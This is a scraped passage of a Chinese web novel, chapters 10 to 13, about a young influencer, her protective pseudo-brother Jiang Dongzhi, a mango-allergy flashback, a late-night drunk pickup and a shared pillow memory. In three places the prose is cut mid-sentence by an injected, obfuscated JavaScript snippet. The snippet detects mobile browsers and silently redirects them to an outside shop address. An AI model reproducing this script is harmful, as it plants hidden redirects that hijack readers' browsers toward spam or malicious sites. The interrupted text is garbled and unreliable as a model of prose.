“啊——这样。”陈琪梦点点头,又继续接着方才的话题聊下去,感慨,“你说那么多年,我们队里就差你还一直单身了。” “没遇见喜欢的人。” “……” 程拾醒由于要保持身材,吃的一直不算多,是三个人里头最先放下筷子的那个,撑着下巴听着聊天,偶尔接陈琪梦几句话。 待她点开手机看了眼时间,才瞧见谈祝霄半个小时前回复她的微信。 谈祝霄:【很适合你。】 她勾唇,放下了抵着脸的手。 “那你眼光还真是高,你跟我说说,你到底喜欢什么样的,我帮你介绍。” “我发现你恋爱之后,就特别喜欢劝人谈,这属于什么心理?”蒋冬至往杯子里添了点水,听上去似乎对她口中的话题毫无兴趣,“你不如给我介绍点业务。” Puhpowee:【为什么这么说?】 相隔半个小时,几乎是消息发出去的下一秒钟,顶上便弹出“对方正在输入中”,她耐心地等了有一会儿,对方的回复才姗姗来迟。 谈祝霄:【因为感觉,你是个很有生命力的人。】 Puhpowee:【在你心里,有生命力的人多吗?】 谈祝霄:【在我心里?】 Puhpowee:【嗯,想判断一下这句话在你这里算不算是个特别的评价。】 “好吧……话说这么久没见,感觉你脾气也比之前好点了,真是年纪大了变成熟了。” “我以前脾气很差?” “也不是说差啦……你还记不记得大学有次,我U盘落你这儿了,跟李钟辉两个人来你家拿,你住的楼连个电梯都没有,楼梯给我俩爬得累半死,就想进来喝口水再走,结果别提水了,防盗门的门槛你都不让我俩踏进去一步,跟禁地似的。我说那我不进来,你家有一次性杯子吗或者不用的杯子,给我倒点水,我真的快渴死了。然后你给我微信转了10块钱,说楼下有便利店。”现在提起来,陈琪梦还觉得有点无语的好笑。 “抱歉,我不太喜欢别人进我家。” “倒也用不着道歉,每个人想法不同。只是李钟辉当时还挺伤心的,他说他觉得和你是朋友,但你站在家门口那姿态整得跟我俩是瘟疫一样,后来知道你对所有人都这样,只是单纯介意这件事,不是介意我俩,他心里才舒服了。” 聊天声有一搭没一搭滑入耳,程拾醒敲击键盘的动作缓慢了下来。 屏幕里的消息还在跳动。 谈祝霄:【……不多。】 谈祝霄:【很少。】 面前的餐盘上突然多出一片牛肉,身侧蒋冬至的嗓音淡淡响起:“别老抱着手机。” “妹妹是不是谈恋爱了?老低着头看手机。”陈琪梦看着她直笑。 他松开她盘子牛肉片的筷子一顿,很快又收回,偏过脸去看她,语气平平地问:“恋爱了?” “没。” 一个暧昧对象罢了。 程拾醒摁灭了屏幕,反扣在桌面上,微微一笑,将那片牛肉重新给他夹了回去,“我吃饱了,你吃吧。” “哎。”陈琪梦捧住脸,啧啧称叹,“看来真的是我谈恋爱后对这类话题变太敏感了。不过妹妹长得那么漂亮,性格也好,在学校肯定很受欢迎,有异性追你吗?” 她点点头,也不避讳,漫不经心地回:“嗯。” “她年纪还小。”蒋冬至道。 后半句他没有说出口——定不住心也正常。 陈琪梦俨然会错了意:“不小,正好,学生时代的感情最单纯美好了。不像我们,眼里多是利益和精打细算,人都变沧桑了。妹妹这个年纪,谈一个踹一个都行,我们谈一个就得把结婚和未来考虑进去了。” “不结婚不考虑未来不行吗?”程拾醒倏地开了口,灯光一落,琥珀色的眼睛像琉璃,睁大了笑意盈盈看着陈琪梦,手指间还把玩着手机壳后粘着的支架,她看上去有些疑惑,“年纪增长了……谈一个分一个就不行了吗?” 她声音轻轻的,陈琪梦有点没太听清:“你刚说什么?” 她还未张口重复,服务员端着盘子走至桌面,小心放下,“打扰一下,各位这边的餐品已经上齐了,祝各位用餐愉快。” 是碗冰沙,芒果切成丁点缀在白色冰沙旁,顶端是一片薄荷叶,边上搁了一小碗炼乳。 见只配了两个勺子,陈琪梦扭头张望了会儿,挥手招呼服务员过来,“您好,可以再多拿个勺子吗?” “不用。”程拾醒舀了勺冰沙,冰凉渗过舌尖的皮肤,化进胃里,“我哥芒果过敏,我们吃就好。” 陈琪梦先是愣了下,恍悟:“哦,怪不得。我看这家店点赞量最高的就是芒果冰沙,还想着你俩怎么没点呢。” 顿顿,又说:“芒果那么好吃,太没口福了。没尝试过脱敏吗?” “脱不了。”程拾醒只尝了一口便放下了勺子,她不能吃太多,“稍微沾上点就全身起红疹。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054685|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈琪梦摇摇头:“那还是算了,那得脱进抢救室了。” 闻言,程拾醒手停住,忽而笑了声。 还真进过。 蒋冬至第一次吃到芒果是在他大二刚开学时,托暗恋程拾醒的男同学的福。 那天他们照例吵完架,程拾醒胸口起伏,难平气愤,马尾一甩,怒气冲冲甩着手跑到了玄关处换鞋。 他坐在沙发上翘着脚,冷嘲热讽,阴阳怪气:“又离家出走啊?你就只会这一招啊?” 她憋着一口气,咆哮:“出去散心不行啊?我出个门你管得着吗?” 说完,“砰”一声把门砸上了。 门前脚刚关上,他后脚便坐不住了,冲到阳台上扒着栏杆往下看,远远瞧见个小姑娘,穿着身粉色的裙子,长发高束,从边上的柏油路往外走,走到一半忽而止住了步子,似乎有所感应,猛地扭回了头,眼睛抬高了直直望向六楼阳台上的他。 距离太远,阳光又太烈,她似乎还有点不太确定,手挡着阳光眯着眼仔细辨认了下,在确定是他后,笑了下,然后冲他比了个中指。 蒋冬至:“……” 被活活气笑。 他决心不跟她一般见识,叉着腰从阳台上回了客厅,屁股刚沾上沙发,又因为生气弹了起来,绕着茶几走了两圈,眼睛一瞟,突然落在了茶几上那个昨天放学她拿回家的芒果上。 昨晚,刚才吼了他、冲他竖中指的那个人,拎着那个芒果回了家,在他问起后,拎着突然变成了双手端着,然后仰着下巴告诉他:“追我的人送的。唉,拒收了还送,真苦恼。你肯定没体会过这种烦恼吧,毕竟你脾气那么差,肯定没有喜欢你的人。” “谁追人送芒果?你自己编的吧?”蒋冬至不信,“还有,我什么时候脾气差?什么时候不招人喜欢了?我看明明就是你……” “我怎么样?” 明明是你,脾气差、不招人喜欢…… 他们习惯用这种是非不分的方式互损,但是蒋冬至看着她得意的眼睛,说不出那几个字。 脾气是炸了点,但好像是挺招人喜欢。没什么特别的原因,明明缺点一大堆,有什么好值得招人待见的? 可能、大概、也许是因为她是程拾醒,一个向来没有前因后果的人。就像她闯进他的生活那样无厘头,她招人喜欢这点也没有什么原因可言。 可他一点也不想承认这点,于是转了个话题:“程拾醒我告诉你,你现在的任务是好好学习,不要搞早恋那套,不然我告诉你班主任。” 她自信地撩了下头发,无辜:“可是我没有办法阻止别人喜欢我呀。” 嘚瑟。 他就从她眼底看出这两个字。 蒋冬至盯着那个芒果绕着茶几又走了两圈,最后腰一弯,拿起了那个芒果。 这个芒果归他了,叫她在他面前那么嘚瑟。 其实蒋冬至不喜欢吃水果,喜欢吃水果的人是程拾醒。 他把芒果洗干净扒开皮,蹲在垃圾桶边上,面无表情地咬了口。 说什么自己家种的包甜,他吃着分明一点也不甜,他嘴里全是愤怒的味道,愤怒促使他全身发痒。 ……痒? 蒋冬至突然觉得有点不对劲,立即打开手机一照,相机里是一张几乎快要辨认不出的脸。 “……” 打完120,晕厥过去的前一秒,他想:怪不得小时候父母还在家里时从来没出现过芒果这个水果。 接到电话的时候,程拾醒还在怒发冲冠地在街上游走,接完电话颤着腿火急火燎往医院赶。 等赶到医院,人也抢救得差不多了。 被护士推出来的时候红疹还没下去,程拾醒人都被吓傻了,那是她有意识以来第二次哭,第一次是因为小学四年级某次数学考试不小心睡着了结果考了82,向来要强的她接受不了这个成绩,半夜睡不着爬起来对着那张卷子通红着眼边哭边重新做了一遍,满分,这才安心睡下。 这次是被蒋冬至吓哭的,他当时已经不太能认了,要不是他脖子上那颗痣,程拾醒都得怀疑一下这究竟是不是他。 她抖着手指指着病床上那个人,抽噎着问:“请问……这个是巨人观吗?” 护士:“……” 还没来得及跟她解释,她被自己的想象吓得一下破防了,伤心得不得了:“蒋冬至,我再不跟你吵架了,你睁开眼睛看看我好不好?我承认你是我哥哥了行不行?我虽然经常骂你,可是……可是你不能丢下我一个人,我们俩相依为命那么久,我还要给你养老,其实我也没有那么讨厌你,其实我有把你当哥哥看的……” 蒋冬至时常觉得程拾醒小时候真不是个东西。 长大后…… 餐桌之上,他余光瞥过她的侧脸,唇角的笑意淡了下来。 长大后,这个说跟他相依为命的人随时在准备离开这个家。 他知道。 11. 11 回家之后,程拾醒先抱着睡衣进浴室洗澡,创口贴还缠在指尖,碍于沾水会不太方便,她撕下来随手丢进了垃圾桶。 洗澡前,进行完卸妆洗脸,她往脸上拍了点水乳,正准备脱衣服,卫生间的门被扣响。 一门之隔,蒋冬至的声音显得闷闷的:“方便开门吗?” 程拾醒直接把门打开,问:“怎么了?” 他倚在门框上,手一抬,指间正夹着一片未拆封的创口贴。 “刚药箱里翻的,你手上贴的那个不防水。”蒋冬至眼一垂,“嗯?”了声,尾音上扬,“摘了?” 她应声,没接他手里的东西,“不用,只是稍微划了下,本来也就不需要创口贴。” “本来就不需要?”他看着她重复。 “嗯。” “那个男生给的?” “嗯。” 蒋冬至瞧她片刻后,笑了下:“以后出门包里随身带两片吧,这样也不用欠别人人情了。” 程拾醒和他对视,也跟着笑了,眉眼弯弯:“哥哥,我觉得你应该去谈个恋爱。” “这样你就会知道了,我就是要欠人情。”语毕,她手握着门把手,用力关上门,对着门外扬声,“我洗澡了。” - 周日蒋冬至要加班,陪客户。 程拾醒收到他的消息时健身刚结束,正坐在椅子上休息。 刺猬:【今天有饭局,不回来吃晚饭,你自己解决。】 她抬着下颚,灌了口水,才打字回他消息,就一个“嗯”字。按下发送键,程拾醒偏过头,问江含:“晚上有约吗?” “没有,怎么了?” “上次和你没约成的晚饭,今天补上?” 江含笑了:“怎么?今天你哥不烧饭?” 她应了声,手里的水喝完了,用力一捏,将空了的矿泉水瓶压扁了,丢进一旁的垃圾桶。 “他加班。” “行啊。” 两个人选了家韩餐店,新开的门店,离这不远。江含有车,新买的,是辆白色奥迪,前两天车牌照才刚刚下来。 程拾醒坐上副驾,在车子提醒声中系上安全带,脊背往后一靠,注意到她车上的小蜜蜂玩偶小挂饰,伸手轻轻一拨,挂件左右摇摆。 “这不是我之前送你的生日礼物吗?” 江含正在倒车,闻言瞥了眼挂件,“对啊,合适吧?” “挺好。”这还是程拾醒第一次坐她的车,环顾了圈,“这车也挺好。” “毕竟昂贵。”想起花出去的钱,江含就心疼到龇牙咧嘴,“话说,你去年不是拿了驾驶证吗?没想过买一辆吗?” 程拾醒摇摇头,一边低着头给谁发微信消息,一边说:“要攒钱。” 她在攒钱买房这件事,江含也知道点,问:“我看你都攒好久了,平时也赚得挺多的,还没还没攒够吗?现在首付好像就30%吧?最近银行贷款条件也放松了。” “我打算全款。” “……” 语不惊人死不休,江含一个急刹车,停在了红灯前,错愕地扭过头来看她,瞪大了眼:“什么?” 程拾醒终于从手机里抬起头,却没看她,只透过前窗望着外头的景色。晚霞浓烈,十字路口,马路对面红灯上的数字在不停跳跃,左右侧方车辆川流不息,疾驶而去,人行道行人三三两两,行色匆匆。 半晌,程拾醒说:“还房贷太辛苦了。” “……” 说实话,江含不太能理解。对于一个敢说出0贷款全款拿房的人来说,还房贷会成为一件很辛苦的事吗? 但是她没把疑惑说出口,对面绿灯亮了,她踩下油门,说:“好吧。” 韩餐店生意很好,二人到门口时里头早已人满为患,得先拿号排队。好在运气不错,刚拿到单子不久里头便有人吃完出来了,叫号时前面连过三位,等了不到十分钟,便轮到她们了。 桌椅恰好靠窗,扭头便能看见外头的景色。入了秋后,天暗下来的速度得越来越快了。眼下,店内灯火通明,店外一片漆黑。广吴的空气质量比不得临霞,夜晚来临时都看不到几颗星星,只能看见外面那座横跨江面的大桥上挂着的璀璨霓虹灯。 江含:“这边景色倒挺好的。” 程拾醒点完了餐,也跟着去瞧窗外,手掌托着脸,“嗯。” “话说,刚看你在车上一直在给谁发消息,是有什么急事吗?” “没。”她嗓音淡淡的,像毫无波澜的海域,“暧昧对象。” “啊——”江含拖长了尾音,听上去似乎有点遗憾,“那我弟又得伤心了。” 她有点不解,胳膊撑着桌子,身子前倾,问程拾醒:“你说我弟长得也挺帅的,身材也不错,我看他学校追他的女生还挺多的,你是看不上他哪里啊?我回去叫他改改。” “怎么?”程拾醒睨着江含,开玩笑,“想让我做你弟妹?” “主要他对你不死心啊,我毕竟是他姐,也不想听他天天在家嚎‘还要多远才能进入你的心’。” 程拾醒笑了下。 “没什么看不上看得上的。”她道,“我不和熟人谈恋爱,这是原则。” 江含疑惑:“熟人不是更了解人品吗?” “但是熟人不好分手,你知道的,我的每段感情都不长久。” 这样随时可能面临分手、然后秉持着分了就该跟死了一样再也不见的恋爱关系,一点都不适用于被共友、记忆、家人、大大小小的物件……被密不透风的蜘蛛网缠在一起的熟人。 程拾醒耸肩:“况且,他也不见得多喜欢我。” 同是广大的,也没见他往她跟前凑。不过是没见着真喜欢的,误把对她的崇拜错当喜欢罢了。 “好吧,那我回去再劝劝他。” 江含也没再多说,只叹了声。 部队锅很快便上了,热气腾腾,香气逼人,据说酱汁是老板亲自调制的,入口是正正好好的咸辣味,浓郁鲜美,里头东西很多,拉丝的芝士覆在拉面之上,鱼饼入口弹滑,肥牛片薄嫩。 程拾醒拍了照,本是想上微博给粉丝分享下生活,想了想,还是顺手点开微信,发给了蒋冬至,意思是——在吃了。 随后,她边吃边有一搭没一搭地同江含聊着天,期间桌面上的手机一直在弹消息,屏幕频繁地亮起又暗下,她没拿起,只趁着屏幕没灭之前随意地瞟了眼微信备注,是谈祝霄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054686|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “是你那个暧昧对象吗?”江含也注意到了,隔着朦胧的雾气,问她,“你不回消息吗?” 程拾醒把手机翻了个面。 “回一句就得回几句,也不差这一会儿,等吃完饭我再回他。”她并不是很在意,“现在正是我和你吃饭聊天的时候。” “我欣赏你重友轻色的特质,因为我是那个友。”江含给她夹了片肥牛,“话说,你今年是大三吧?” “对。” “那你是打算后面找家公司实习上班,还是就做互联网全职了?” “全职。” “那你是打算继续这样单干还是找家公司帮你运营着?” “等粉丝数到一千万了,我就去注册公司。” 她向来是个有主意的,江含觉得这样也挺好,于是举起果汁易拉罐,说:“祝你成功。” 程拾醒碰了下罐,还不忘提一嘴:“其实你也可以注册个平台账号,教人减脂锻炼。” 江含乐,“别开玩笑了,我搞不来互联网那些东西。” “我可以帮你策划。”她抿了口饮料,放下易拉罐,前倾身子,认真地看着江含。 相处那么久,程拾醒了解江含,对方从专业素养到长相等各方面条件都不错。她在灯光下细细瞧着江含的轮廓,齐耳短发,面部线条清晰,眉骨折叠度较高,鼻梁高挺,略带些驼峰,属于标准的浓颜系,此时套着件黑色薄卫衣,袖子半挽,露出肌肉线条明显的手臂。拥有这样的长相与身材,偏偏却是偏温柔好说话的性格。 “你别老看着我。”江含笑着伸手捂住脸,“跟hr面试似的。” 程拾醒弯了下唇,垂下眼。 “我的意思是,如果你有意思去尝试这行,可以来找我。” 她道:“我可以让你赚得比现在多很多。” “知道了。”江含又给她夹了片午餐肉,“快吃吧老板。” 由于是晚上,程拾醒不敢吃太多,大约八分饱便停下了筷子。好在江含食量够大,风卷残云般在锅里狂捞拉面。 聊天声静了下来,程拾醒这才将手机翻回来面,想着去回谈祝霄的消息。 然而,入目第一条,是蒋冬至的微信未接来电。 她眉心拧了下,回了个问号,这才去划拉和谈祝霄的聊天记录。 谈祝霄:【今天的晚霞好漂亮。】 谈祝霄:【图片.jpg】 谈祝霄:【一食堂的炒面不好吃。学姐在学校待了两年,有什么美食推荐吗?】 还未翻完,屏幕蓦地一黑,弹出微信电话页面,正中央的头像是一幅海岸油画,下方的她的备注就俩字——刺猬。 她按下接通键,搁在耳边,“喂。” “程拾醒。”入耳是沙哑的嗓音,微弱的,急促的,不同寻常的,喊她的名字,“我……” 话未说完,紧接着两声干呕声,似乎特意挪远了手机,显得格外朦胧。 程拾醒一愣,突然站了起来,把对面的江含吓了一大跳。 她顾不上江含投来的疑问目光,问:“你在哪?” “格蓝……大饭店……门口。” “等着。”她言简意赅撂下两个字。 12. 12 Stay with 刚来广吴那会儿,蒋冬至工作总是很拼命,他的身上压着房贷、程拾醒的生活费、学费、家里的日常支出……熬夜加班是常有的事,看着人家的眼色,主动揽活来得到领导的关注,陪领导参加酒局,地位低、年纪轻,所以总是被拉出来挡酒的那个。 即使他在临霞已经攒了一些工作经验,但来了广吴,就是重头开始。 当然,这些东西他从来不肯说,就像个哑巴一样,不跟远在异国的父母说,也不跟同在一个屋檐下的程拾醒说,问起来就是他很好,不用担心。 直至程拾醒因为在学校直播不方便怕打扰舍友而搬回家,才窥见一点他的谎言。 她当时觉得很愤怒。 “那你为什么要来广吴?”那是半夜十二点,程拾醒压制着自己的情绪,问刚回到家的蒋冬至,“你留在临霞不是很好吗?那里你什么都有,有转正的工作,有朋友,有房子,你来广吴干什么?” 他倒在沙发上,脸上是不自然的红晕,睁着眼睛,望着天花板,不吭声。 “为什么要这么做呢?”越是质问她越是控制不住自己的语气,忍不住吼他,“让自己变得那么辛苦,究竟为什么?” 楼下汽车传来尖锐的长鸣,将她的尾音吞没,再把气氛过滤成一片死寂。 过了好半晌,蒋冬至才开了口。 “这边发展机会更多……再说,你不是考来这里了吗?”他说,“你总需要人照顾,娇气,吃药要人哄,受伤会大叫……要是宿舍里住不惯,在这所城市,还能有个地方回来。” “蒋冬至,你越活越过去了吧?那都是什么时候的事了?”她觉得很好笑,“你是不是觉得,我没你照顾就活不好了?是,我爸妈临走前是把我托付给你,但是我现在成年了,有能力了,哪怕离开你我也能过得非常好。请你不要把什么事情都往我身上推。” “是啊,你会越来越有能力……我知道……我知道……”他喃喃着,怔怔的,没看她,双眼依旧注视着天花板,直到灯光把眼睛都晃花了,“最重要的理由是……” “是什么?” 他张了张嘴,没说话了。 程拾醒注视着他,她可真讨厌他的沉默。 - 程拾醒接到蒋冬至的时候,他正靠着路灯杆子蹲在马路边,衬衣解开了两颗扣子,领口松松垮垮,手臂搭在膝盖上,解下的领带缠绕在手上,垂着头,看不清神色。 她快跑了几步,站定到他面前,喘了两口气,皱着眉弯下腰问他:“怎么样?还能走吗?” 他应声,扶着杆子慢慢吞吞站起来,程拾醒见状赶紧伸手托住他的手肘。 “抱歉。”他听上去比电话里的声音好一点,脸上满是歉意,“本来是想叫代驾的,但是大脑好像有点不清晰,反应过来的时候已经拨通你的电话了。” 她没搭理这句道歉,朝他伸出手,“车钥匙呢?” 蒋冬至摊开掌心,她接过钥匙,扶着他的胳膊,几步一晃,终于把人弄进了车的副驾驶上。 “会吐吗?” “晚饭没吃什么,吐不出来的。” 她撑着身子靠近,闻着他身上的酒味,忍不住再一次蹙眉,唰一下扯开安全带给他系上。 “不知道自己胃不好不能喝酒吗?” “大客户,没办法。” “不会说自己有胃病或者酒精过敏或者……反正就是不能喝吗?”她冷笑,说话也变得不客气,“什么大客户?什么酒桌文化?糟粕。你都坐到这个位置了,还要陪这种狗屁的酒?” “是在临霞那会儿我就职的公司。”蒋冬至靠着椅背,闭着眼,“这单挺大,拿下的话,能升职,拿不下的话……” 程拾醒沉默了。 蒋冬至要辞职那会儿跟前公司闹得还挺僵。老板要留他,他不同意,又有同事从中作梗,故意在老板那阴阳说他早就找好了下家,老板不过是他成功路上的绊脚石。一来二去就闹上了。 离开时以为是天各一方,谁承想还有今天这么一遭? 她的语气缓了下来:“你休息会儿吧,到家了叫你。” - 到家时已经是半个小时后的事情了。 蒋冬至稍微好了些,脸色却还白着,高高大大一个,倚靠在她身上,下巴搭放在她的肩膀上。 程拾醒来寻他时散着长发,后面怕他倚过来会压到头发,便用腕上的橡皮筋挽了个低丸子垂在脑后,但在车上靠着座,头发乱了些,有几缕掉下来,垂在脸侧。 他闻到了她发间淡淡的洗发水味。 她今天没喷香水,身上只有这样一股清香,柠檬味,和他的当然是同一款,家中拆了封的洗发水、沐浴露、护发素都各只有一瓶,摆放在浴室的架子上。 但她身上的味道总比他要浓些。 程拾醒搀着他到沙发上躺下,随后弯着腰在投影布旁的柜子里翻药箱,却迟迟找不到她想要的,“家里的胃药是没了吗?” “在我房间。”蒋冬至有气无力地说,“左边床头柜第二格。” 程拾醒顿住了动作。 过了会儿,她问:“怎么不放药箱里?” “很久以前放的,记不得为什么了。” “那你现在有力气吗?” 他仰着脸,伸出一只手盖住眼,唇没有血色,张了张,低声:“你是想说什么?” 程拾醒瞧了会儿他,摇摇头。 “没什么。”她站起了身,“我去拿?” 他从喉间溢出个“嗯”字。 他的卧室在程拾醒的房间对面,一间门开着,另一间则紧闭。 开着的那间,是他的。 程拾醒踩着拖鞋快走,临到他门前,脚下却稍滞,几秒后才抬脚迈进去,手指摸着墙上的开关,啪的一声,灯光明亮。 自搬进这套房子以来,她从没有真正踏进过这里,只是路过他门前时随意一瞥,窥见里头的陈设。而今进来,猛然间发现,这间屋子和他临霞房子的卧室长得极为相似。白色的墙壁,深蓝色的家具,靠门口的那面墙做了嵌入式衣柜,墙角摆了个黑色架子,上头摆着各种模型。 程拾醒没来得及细看,匆匆忙忙按着他的指示在床头柜中翻找着药。他有点强迫症,东西总是摆放得很整齐,找起来很方便。 她拆开盒子,从里头抽出了一板药,方要站起来扭头出去,目光却蓦地瞥见他床头的那个抱枕。 粉色的,和他房间格格不入的,那是她故意挑选的颜色,作为生日礼物送给他的。 程拾醒怔愣,捏着那板药,停在床头柜前,目光始终落在那个抱枕上,眼前忽而闪过很久以前,那个脸尚还青涩的蒋冬至刚收到礼物时的表情,当时他提着抱枕,错愕又嫌弃地说:“真丑。” 那会儿他的房间总是紧闭着,不肯让她进。 这个人有一种超强的领地意识,属于他的东西,旁人碰一下都不行,属于他的生活,别提踏进去,别人触一下都困难,这几乎是达到了一种偏执的程度。也许是因为他从小便是自己一个人生活的,没几个朋友,家门也从未对谁打开过,直到某天隔壁搬进了一户人家。 大抵也是因为这样,他格外抗拒从隔壁硬塞过来的她。 可程拾醒当时并不知道,她只知道蒋冬至这人喜欢莫名其妙地发脾气。他和她过去认识的所有人都不一样,古怪得要死,还一股子别扭劲儿。 于是他们总是吵架,而其中一次吵架的理由就是程拾醒碰了他还没做完、暂且搁置在茶几上的飞机模型。 “我碰一下能怎么样?它难道会坏吗?难道我摸过的你家的所有东西,你都要让它消失吗?你别拿这个眼神看我,蒋冬至,你以为我想来这里让你‘照顾’我吗?你又不是我亲哥,这里也不是我家!” 她同他吼完,还闹了离家出走,当时他并不挽留,指着门口冷笑:“行,你走。” 她真走了。 隔壁她真正的家里早已没了可以吃的,微信余额也少得可怜。她迫于饥饿,晚上终于低着头忍气吞声地回来,一进屋就闻见专属于炸鸡的飘香。蒋冬至点了肯德基全家桶,正闲闲翘着腿享用着他的晚饭,听见动静,不过睨了眼来,而后轻嗤一声,移开了眼。 俗话说得好,兄妹哪有隔夜仇? 但偏偏程拾醒这人就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054687|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是记仇。 她恨他恨得牙痒痒,就是要伺机报复。 在暑假的某个午后,她本想去问蒋冬至晚饭吃什么,敲了房门不见回应,便小心翼翼地下按把手开了门。 里头是一片黑,窗帘盖过外头灼热的烈阳,只留出一条金色的缝隙,空调运作的呼呼声掩住床上那人平缓的呼吸。 她眯起眼,隐隐约约瞧见床上鼓起一团。 “蒋冬至。”她气声喊,见他毫无反应,心中忽而一动,报复他的机会来了。 程拾醒跑回自己房间拿了支黑色水笔来,轻手轻脚地掩上他的房门,踏入了这片属于他的黑暗里。她踮着脚尖,逐步靠近他,在床边蹲了下来,借着窗帘缝隙透进来的那一点微光,在昏暗中看清了他的脸庞轮廓,还有他紧闭的双目。 这是你自找的。 她这么恶狠狠想着,屏着呼吸,手中的黑笔缓缓接近,在他鼻翼两侧的脸上分别画了猫咪似的三条杠,再在鼻尖上圈出一个黑色的圆。 她画得太过专注,以至于没察觉到他的睫毛轻轻一抖。 程拾醒满意了,正要收手,眼前蓦地一花,伴着“啪”的一声,手腕被紧紧控住的同时,灯光大亮。 她毫无准备,被强光刺激到闭眼,黑暗中听见蒋冬至冰冷冷的嗓音,还带着刚睡醒时的鼻音:“谁让你进我房间的?” 程拾醒心中“咯噔”一下。 被抓包了。 指尖的笔被人夺去,她惊了下,下意识扭动手腕,想挣脱开他的桎梏。但男女之间力量本就悬殊,更别提他比她年长足足五岁。她越挣扎,他捏得越紧,手臂巍然不动。 蒋冬至道:“说话。” 她抿着唇,不肯吱声,越是动弹不得,越是要逆着他的力道挣扎,脚下没站稳,惊呼一声,手臂乱挥中似是从床上挥掉了什么东西,软软的,砸在她的脚上。 而她却倒是凭借着他的力道,勉强稳住了身子。 眼睛适应了光线,程拾醒睁开了眼,看清了砸在脚上的是什么—— 一个抱枕。 一个款式简单、纯白色、只在中央喷了“STAYWITHME”黑色字母的,抱枕。 那一瞬间,程拾醒愣住了。 蒋冬至这样的人……睡觉居然还要抱抱枕? 可他没有弯腰去捡,只是瞥了一眼,目光重新回到了她的身上,继续逼问。 那天的蒋冬至比冰山还冷,听完她的陈述才松开了手,一言不发地去卫生间洗了脸。 而程拾醒怔怔的,被他的沉默吓到,捡起了地上躺着的抱枕,抱在怀里,后知后觉反应过来,这次他是真生气了。 于是她磨磨蹭蹭地走过去,轻咳了两声:“你的抱枕。” “不要了。”蒋冬至关掉了水龙头,抬起脸,透过镜子,她看见他黏在额头上正在滴答滴答滴水的湿发,还有冷淡的神色,“丢了吧。” 她的火又上来了,那会儿她还不会服软,不知道只要她软下来他便会低头,只是语气生硬地问:“就因为我碰了下?” “你想要怎么理解,和我没有关系,正如你所说,事实上你也不是我的家人。” 程拾醒气到眼睛都红了,想要跳起来骂他。 过去从来没有人这样对过她。她是父母捧在掌心的公主,即使骄纵到无法无天,爱她的人也不过无奈地叹一口气。她成绩好,长得漂亮,向她示好的人多了去了,唯独他爱刺她。 怒气翻涌,几乎要把她的身体撑开、爆炸。 可是她一低头,看到了抱枕上写的字样—— Staywithme. 她是被戳破的气球,是吐出水后迅速缩小的河豚,是坍塌的冰山,一下子失去了所有力气。 同病相怜。 那一刻,她只想到了这四个字。 后来,程拾醒送了他一个新的抱枕,故意选了这样一个粉嫩的颜色,上头找店家写了一行英文—— Staywithyou. 那会儿他们还在临霞,仍是动不动就会吵起来的年纪。一晃多年,抱枕的枕套都被洗泛白了,还静静躺在他的床头。 13. 13 程拾醒给蒋冬至倒了杯温水,和药一起,搁在茶几上,看着他从沙发靠背上直起点身子,将药片吞咽下去后,才说:“你床头那个抱枕……怎么还没丢?” 休息了会儿,他总算脸色好看了点,反问:“你希望我丢了?” “太旧了,而且和你房间风格也不太搭。”程拾醒道,“一个抱枕而已,你要是需要的话,我可以再送你一个。” “不要。”他很固执,干脆利落地拒绝了她的提议,“我就要那个。” 她静了静,转过身,说:“随便你吧。我去煮点粥。” “等等。”蒋冬至倏地伸手,扯住她的衣袖,见她回头,睫毛颤了颤,道,“你别煮了,陪我坐会儿吧。” “我不煮你怎么办?你不是晚饭没吃什么吗?不饿吗?” “待会儿我好点了,会自己烧饭的。”蒋冬至说,“我怕你把厨房炸了。” “……”程拾醒闭了下眼,被气笑了,“蒋冬至,你真的……” “叫哥哥。”他提醒她,小的时候她也喜欢这样蒋冬至蒋冬至地叫他,没大没小,顶多在父母面前会收敛一点,再后来她学会装乖巧了,尤其是有事求他的时候,比谁叫得都甜。 “从过去到现在,家里有一顿饭是你做的吗?你知道煮粥要放多少水吗?” “我会使用浏览器进行搜索及学习,我的学习能力一向很强,哥哥。”程拾醒看着他,一字一顿,“我的学习能力和分寸感都很强。” 蒋冬至嘶了声:“你现在是在骂我学习能力差劲,还是分寸感弱呢?” “为什么要这么想呢哥哥?”她看上去很诧异,“虽然你酒喝得烂醉,但是我当然不会骂你啦。” “注意你的表达,我没有喝醉,只是饭没怎么吃喝了酒,胃不舒服。” “你对自己不舒服的原因拿捏得还真好。怎么?还想真喝醉?” “当然不想,我又不喜欢喝酒。你看我除了应酬,其他什么时候喝过?我又不是你。” “什么叫作你不是我?我从来都是点到为止。” “你点到为止?”蒋冬至像听了个笑话,全世界最不知道什么叫作点到为止的人就是她,“你知道什么叫点到为止吗?请问你是没喝醉过还是没做过什么荒唐的事?” 楼下有车跟失心疯似的一直在按喇叭,吵得要命。 